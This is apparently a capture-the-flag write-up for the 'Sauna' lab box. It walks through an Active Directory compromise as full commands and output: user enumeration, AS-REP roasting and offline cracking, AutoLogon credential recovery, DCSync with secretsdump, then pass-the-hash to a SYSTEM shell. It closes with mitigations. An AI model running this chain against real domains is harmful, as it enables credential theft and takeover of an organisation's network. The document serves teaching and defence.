~ / writeups / sauna

Sauna

Easy Windows AD box — AS-REP roasting for a foothold, AutoLogon creds from the registry, then a DCSync to Domain Admin.

Synopsis

Sauna is an easy Windows box built entirely around Active Directory. Usernames harvested from the bank’s website (and confirmed with kerbrute) feed an AS-REP Roasting attack; the cracked ticket gives a foothold as fsmith. WinPEAS then reveals AutoLogon credentials for svc_loanmgr, whose DCSync rights — found with BloodHound — let us pull the Administrator hash and take Domain Admin.

  • Domain: EGOTISTICAL-BANK.LOCAL · Host: SAUNA · IP: 10.10.10.175

Recon

A full service scan shows a classic Domain Controller — DNS, Kerberos, LDAP, SMB — plus an IIS site for “Egotistical Bank”.

nmap -sC -sV -sT -Pn 10.10.10.175 -oA nmap-scan
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0  (Egotistical Bank :: Home)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
389/tcp  open  ldap          AD LDAP (Domain: EGOTISTICAL-BANK.LOCAL)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Global Catalog
Service Info: Host: SAUNA; OS: Windows

Enumeration — LDAP & users

Anonymous LDAP confirms the naming contexts and the domain object:

ldapsearch -x -h 10.10.10.175 -s base namingcontexts
# namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL

The website’s team page gives real names (e.g. Fergus Smith, Hugo Smith). I generated username permutations and validated them with kerbrute:

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL usernames.txt --dc 10.10.10.175
[+] VALID USERNAME: administrator@EGOTISTICAL-BANK.LOCAL
[+] VALID USERNAME: hsmith@EGOTISTICAL-BANK.LOCAL
[+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL

Foothold — AS-REP Roasting

If an account has “Do not require Kerberos pre-authentication” set, the KDC will hand out an AS-REP encrypted with the user’s key to anyone — no password needed. That’s crackable offline. GetNPUsers.py finds exactly that for fsmith:

python3 GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile users.txt \
  -format hashcat -outputfile hashes.asreproast -dc-ip 10.10.10.175
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL@EGOTISTICAL-BANK.LOCAL:1ba350...<snip>

Crack it with John:

john hashes.asreproast --wordlist=/usr/share/wordlists/rockyou.txt
# Thestrokes23   ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)

Log in over WinRM and grab the user flag:

evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'
*Evil-WinRM* PS C:\Users\Fsmith\Desktop> cat user.txt
1fd93****************************      # redacted

Privilege escalation — AutoLogon credentials

Running WinPEAS on the box surfaces AutoLogon credentials stored in the registry — a second user, svc_loanmgr:

svc_loanmgr : Moneymakestheworldgoround!

Domain compromise — DCSync

With svc_loanmgr’s password, BloodHound shows this account holds GetChangesAll (DCSync) rights over the domain — meaning it can replicate secrets from the DC:

bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' \
  -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c All

Abuse it with secretsdump.py to pull the Administrator hash:

python3 secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 \
  -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

Confirm the hash works, then pass-the-hash into a SYSTEM shell and read root:

crackmapexec smb 10.10.10.175 -u Administrator \
  -H 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e'
# (Pwn3d!)

python3 psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 \
  -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
C:\Windows\system32> whoami
nt authority\system

C:\Users\Administrator\Desktop> type root.txt
10951****************************      # redacted

Takeaways & mitigation

  • AS-REP Roasting: never set “Do not require Kerberos pre-authentication” on accounts; monitor for it.
  • AutoLogon: don’t store plaintext AutoLogon credentials in the registry — use a proper mechanism (e.g. gMSA).
  • DCSync: replication rights (GetChanges / GetChangesAll) should belong to Domain Controllers only — audit ACLs for stray grants to service accounts.